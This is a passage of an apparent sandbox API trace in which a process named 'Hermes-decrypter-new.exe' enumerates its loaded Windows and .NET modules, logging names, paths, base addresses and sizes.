hModule=0x400000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0140.956] CoTaskMemFree (pv=0xeedc10) [0141.036] FindResourceA (hModule=0x400000, lpName="__", lpType=0xa) returned 0x2aa0524 [0141.050] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.050] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x400000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="Hermes-decrypter-new.exe") returned 0x18 [0141.050] CoTaskMemFree (pv=0xeedc10) [0141.050] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.050] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x400000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0141.050] CoTaskMemFree (pv=0xeedc10) [0141.050] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77bb0000, lpmodinfo=0x2e99b50, cb=0xc | out: lpmodinfo=0x2e99b50*(lpBaseOfDll=0x77bb0000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0141.051] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.051] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77bb0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0141.051] CoTaskMemFree (pv=0xeedc10) [0141.051] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.051] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77bb0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0141.051] CoTaskMemFree (pv=0xeedc10) [0141.051] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75e90000, lpmodinfo=0x2e9bc54, cb=0xc | out: lpmodinfo=0x2e9bc54*(lpBaseOfDll=0x75e90000, SizeOfImage=0xd0000, EntryPoint=0x75ea06a0)) returned 1 [0141.051] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.051] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75e90000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="KERNEL32.DLL") returned 0xc [0141.051] CoTaskMemFree (pv=0xeedc10) [0141.051] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.051] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75e90000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.DLL" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0141.052] CoTaskMemFree (pv=0xeedc10) [0141.052] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ea0000, lpmodinfo=0x2e9dd68, cb=0xc | out: lpmodinfo=0x2e9dd68*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x1c2000, EntryPoint=0x74f8ff30)) returned 1 [0141.052] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.052] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ea0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0141.052] CoTaskMemFree (pv=0xeedc10) [0141.052] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.052] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ea0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0141.052] CoTaskMemFree (pv=0xeedc10) [0141.052] GetModuleInformation (in: hProcess=0x2f4, hModule=0x745d0000, lpmodinfo=0x2e9fe84, cb=0xc | out: lpmodinfo=0x2e9fe84*(lpBaseOfDll=0x745d0000, SizeOfImage=0x93000, EntryPoint=0x74604270)) returned 1 [0141.052] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.053] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x745d0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0141.053] CoTaskMemFree (pv=0xeedc10) [0141.053] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.053] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x745d0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0141.053] CoTaskMemFree (pv=0xeedc10) [0141.053] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77920000, lpmodinfo=0x2ea1fbc, cb=0xc | out: lpmodinfo=0x2ea1fbc*(lpBaseOfDll=0x77920000, SizeOfImage=0xf3000, EntryPoint=0x7795a100)) returned 1 [0141.053] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.053] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77920000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0141.053] CoTaskMemFree (pv=0xeedc10) [0141.053] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.054] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77920000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0141.054] CoTaskMemFree (pv=0xeedc10) [0141.054] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75c50000, lpmodinfo=0x2ea40c0, cb=0xc | out: lpmodinfo=0x2ea40c0*(lpBaseOfDll=0x75c50000, SizeOfImage=0x238000, EntryPoint=0x75d6e060)) returned 1 [0141.054] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.054] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75c50000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0141.054] CoTaskMemFree (pv=0xeedc10) [0141.054] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.054] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75c50000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0141.054] CoTaskMemFree (pv=0xeedc10) [0141.054] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76000000, lpmodinfo=0x2ea61cc, cb=0xc | out: lpmodinfo=0x2ea61cc*(lpBaseOfDll=0x76000000, SizeOfImage=0x118000, EntryPoint=0x7602a3c0)) returned 1 [0141.055] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.055] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76000000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0141.055] CoTaskMemFree (pv=0xeedc10) [0141.055] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.055] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76000000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0141.055] CoTaskMemFree (pv=0xeedc10) [0141.055] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74710000, lpmodinfo=0x2ea82e0, cb=0xc | out: lpmodinfo=0x2ea82e0*(lpBaseOfDll=0x74710000, SizeOfImage=0xc0000, EntryPoint=0x7473fb20)) returned 1 [0141.055] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.055] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74710000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0141.055] CoTaskMemFree (pv=0xeedc10) [0141.055] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.055] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74710000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0141.056] CoTaskMemFree (pv=0xeedc10) [0141.056] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74680000, lpmodinfo=0x2eaa438, cb=0xc | out: lpmodinfo=0x2eaa438*(lpBaseOfDll=0x74680000, SizeOfImage=0x20000, EntryPoint=0x7468c9a0)) returned 1 [0141.056] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.056] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74680000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0141.056] CoTaskMemFree (pv=0xeedc10) [0141.056] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.056] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74680000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0141.056] CoTaskMemFree (pv=0xeedc10) [0141.056] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74670000, lpmodinfo=0x2eac544, cb=0xc | out: lpmodinfo=0x2eac544*(lpBaseOfDll=0x74670000, SizeOfImage=0xa000, EntryPoint=0x74672a00)) returned 1 [0141.056] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.056] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74670000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0141.057] CoTaskMemFree (pv=0xeedc10) [0141.057] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.057] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74670000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0141.057] CoTaskMemFree (pv=0xeedc10) [0141.057] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74da0000, lpmodinfo=0x2eae658, cb=0xc | out: lpmodinfo=0x2eae658*(lpBaseOfDll=0x74da0000, SizeOfImage=0x57000, EntryPoint=0x74ddde40)) returned 1 [0141.057] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.057] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74da0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0141.057] CoTaskMemFree (pv=0xeedc10) [0141.057] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.057] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74da0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0141.057] CoTaskMemFree (pv=0xeedc10) [0141.057] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75fb0000, lpmodinfo=0x2eb078c, cb=0xc | out: lpmodinfo=0x2eb078c*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x41000, EntryPoint=0x75fc3400)) returned 1 [0141.058] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.058] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75fb0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0141.058] CoTaskMemFree (pv=0xeedc10) [0141.058] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.058] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75fb0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0141.058] CoTaskMemFree (pv=0xeedc10) [0141.058] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75b70000, lpmodinfo=0x2eb2898, cb=0xc | out: lpmodinfo=0x2eb2898*(lpBaseOfDll=0x75b70000, SizeOfImage=0x21000, EntryPoint=0x75b76900)) returned 1 [0141.058] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.058] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75b70000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0141.059] CoTaskMemFree (pv=0xeedc10) [0141.059] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.059] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75b70000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0141.059] CoTaskMemFree (pv=0xeedc10) [0141.059] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76290000, lpmodinfo=0x2eb499c, cb=0xc | out: lpmodinfo=0x2eb499c*(lpBaseOfDll=0x76290000, SizeOfImage=0x158000, EntryPoint=0x7634a9c0)) returned 1 [0141.059] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.059] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76290000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0141.059] CoTaskMemFree (pv=0xeedc10) [0141.059] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.059] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76290000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0141.059] CoTaskMemFree (pv=0xeedc10) [0141.060] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77b30000, lpmodinfo=0x2eb6ab0, cb=0xc | out: lpmodinfo=0x2eb6ab0*(lpBaseOfDll=0x77b30000, SizeOfImage=0x79000, EntryPoint=0x77b44180)) returned 1 [0141.060] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.060] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77b30000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0141.060] CoTaskMemFree (pv=0xeedc10) [0141.060] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.060] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77b30000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0141.060] CoTaskMemFree (pv=0xeedc10) [0141.060] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74b70000, lpmodinfo=0x2eb8bc4, cb=0xc | out: lpmodinfo=0x2eb8bc4*(lpBaseOfDll=0x74b70000, SizeOfImage=0x13c000, EntryPoint=0x74b9b3d0)) returned 1 [0141.060] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.060] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74b70000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0141.060] CoTaskMemFree (pv=0xeedc10) [0141.061] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.061] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74b70000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0141.061] CoTaskMemFree (pv=0xeedc10) [0141.061] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ac0000, lpmodinfo=0x2ebad5c, cb=0xc | out: lpmodinfo=0x2ebad5c*(lpBaseOfDll=0x74ac0000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0141.061] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.061] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ac0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0141.061] CoTaskMemFree (pv=0xeedc10) [0141.062] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.062] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ac0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0141.062] CoTaskMemFree (pv=0xeedc10) [0141.062] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75bb0000, lpmodinfo=0x2ebce68, cb=0xc | out: lpmodinfo=0x2ebce68*(lpBaseOfDll=0x75bb0000, SizeOfImage=0x96000, EntryPoint=0x75be8f60)) returned 1 [0141.062] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.062] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75bb0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0141.062] CoTaskMemFree (pv=0xeedc10) [0141.062] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.062] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75bb0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0141.062] CoTaskMemFree (pv=0xeedc10) [0141.062] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742b0000, lpmodinfo=0x2ebef7c, cb=0xc | out: lpmodinfo=0x2ebef7c*(lpBaseOfDll=0x742b0000, SizeOfImage=0xf000, EntryPoint=0x742b2bd0)) returned 1 [0141.063] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.063] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742b0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="WTSAPI32.dll") returned 0xc [0141.063] CoTaskMemFree (pv=0xeedc10) [0141.063] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.063] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742b0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\WTSAPI32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")) returned 0x20 [0141.063] CoTaskMemFree (pv=0xeedc10) [0141.063] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77a30000, lpmodinfo=0x2ec1090, cb=0xc | out: lpmodinfo=0x2ec1090*(lpBaseOfDll=0x77a30000, SizeOfImage=0xbd000, EntryPoint=0x77a655e0)) returned 1 [0141.063] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.063] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77a30000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0141.064] CoTaskMemFree (pv=0xeedc10) [0141.064] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.064] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77a30000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0141.064] CoTaskMemFree (pv=0xeedc10) [0141.064] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74e20000, lpmodinfo=0x2ec319c, cb=0xc | out: lpmodinfo=0x2ec319c*(lpBaseOfDll=0x74e20000, SizeOfImage=0x25000, EntryPoint=0x74e247d0)) returned 1 [0141.064] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.064] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74e20000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0141.064] CoTaskMemFree (pv=0xeedc10) [0141.064] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.064] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74e20000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0141.064] CoTaskMemFree (pv=0xeedc10) [0141.065] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75ba0000, lpmodinfo=0x2ec52a0, cb=0xc | out: lpmodinfo=0x2ec52a0*(lpBaseOfDll=0x75ba0000, SizeOfImage=0xe000, EntryPoint=0x75ba3e30)) returned 1 [0141.065] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.065] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75ba0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0141.065] CoTaskMemFree (pv=0xeedc10) [0141.065] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.065] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75ba0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0141.065] CoTaskMemFree (pv=0xeedc10) [0141.065] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74550000, lpmodinfo=0x2ec73cc, cb=0xc | out: lpmodinfo=0x2ec73cc*(lpBaseOfDll=0x74550000, SizeOfImage=0x78000, EntryPoint=0x745885b0)) returned 1 [0141.065] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.065] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74550000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0141.066] CoTaskMemFree (pv=0xeedc10) [0141.066] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.066] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74550000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0141.066] CoTaskMemFree (pv=0xeedc10) [0141.066] GetModuleInformation (in: hProcess=0x2f4, hModule=0x744c0000, lpmodinfo=0x2ec94d8, cb=0xc | out: lpmodinfo=0x2ec94d8*(lpBaseOfDll=0x744c0000, SizeOfImage=0x55000, EntryPoint=0x744f0a30)) returned 1 [0141.066] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.066] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x744c0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="mscoree.dll") returned 0xb [0141.066] CoTaskMemFree (pv=0xeedc10) [0141.066] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.066] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x744c0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0141.066] CoTaskMemFree (pv=0xeedc10) [0141.066] GetModuleInformation (in: hProcess=0x2f4, hModule=0x761b0000, lpmodinfo=0x2ecb5e4, cb=0xc | out: lpmodinfo=0x2ecb5e4*(lpBaseOfDll=0x761b0000, SizeOfImage=0x77000, EntryPoint=0x761ce5b0)) returned 1 [0141.067] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.067] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x761b0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0141.067] CoTaskMemFree (pv=0xeedc10) [0141.067] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.067] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x761b0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0141.067] CoTaskMemFree (pv=0xeedc10) [0141.067] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74440000, lpmodinfo=0x2ecd6f8, cb=0xc | out: lpmodinfo=0x2ecd6f8*(lpBaseOfDll=0x74440000, SizeOfImage=0x7d000, EntryPoint=0x74443c80)) returned 1 [0141.067] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.067] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74440000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0141.067] CoTaskMemFree (pv=0xeedc10) [0141.067] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.067] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74440000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0141.068] CoTaskMemFree (pv=0xeedc10) [0141.068] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73bc0000, lpmodinfo=0x2ecf840, cb=0xc | out: lpmodinfo=0x2ecf840*(lpBaseOfDll=0x73bc0000, SizeOfImage=0x6e6000, EntryPoint=0x73bd83d0)) returned 1 [0141.068] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.068] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73bc0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0141.068] CoTaskMemFree (pv=0xeedc10) [0141.068] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.068] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73bc0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0141.068] CoTaskMemFree (pv=0xeedc10) [0141.068] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75f60000, lpmodinfo=0x2ed1970, cb=0xc | out: lpmodinfo=0x2ed1970*(lpBaseOfDll=0x75f60000, SizeOfImage=0x45000, EntryPoint=0x75f79260)) returned 1 [0141.069] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.069] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75f60000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0141.069] CoTaskMemFree (pv=0xeedc10) [0141.069] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.069] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75f60000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0141.069] CoTaskMemFree (pv=0xeedc10) [0141.069] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74340000, lpmodinfo=0x2ed3a7c, cb=0xc | out: lpmodinfo=0x2ed3a7c*(lpBaseOfDll=0x74340000, SizeOfImage=0xf5000, EntryPoint=0x74394180)) returned 1 [0141.069] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.069] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74340000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0141.070] CoTaskMemFree (pv=0xeedc10) [0141.070] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.070] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74340000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0141.070] CoTaskMemFree (pv=0xeedc10) [0141.070] GetModuleInformation (in: hProcess=0x2f4, hModule=0x72830000, lpmodinfo=0x2ed5bb0, cb=0xc | out: lpmodinfo=0x2ed5bb0*(lpBaseOfDll=0x72830000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0141.070] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.070] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x72830000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0141.070] CoTaskMemFree (pv=0xeedc10) [0141.070] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.070] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x72830000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: 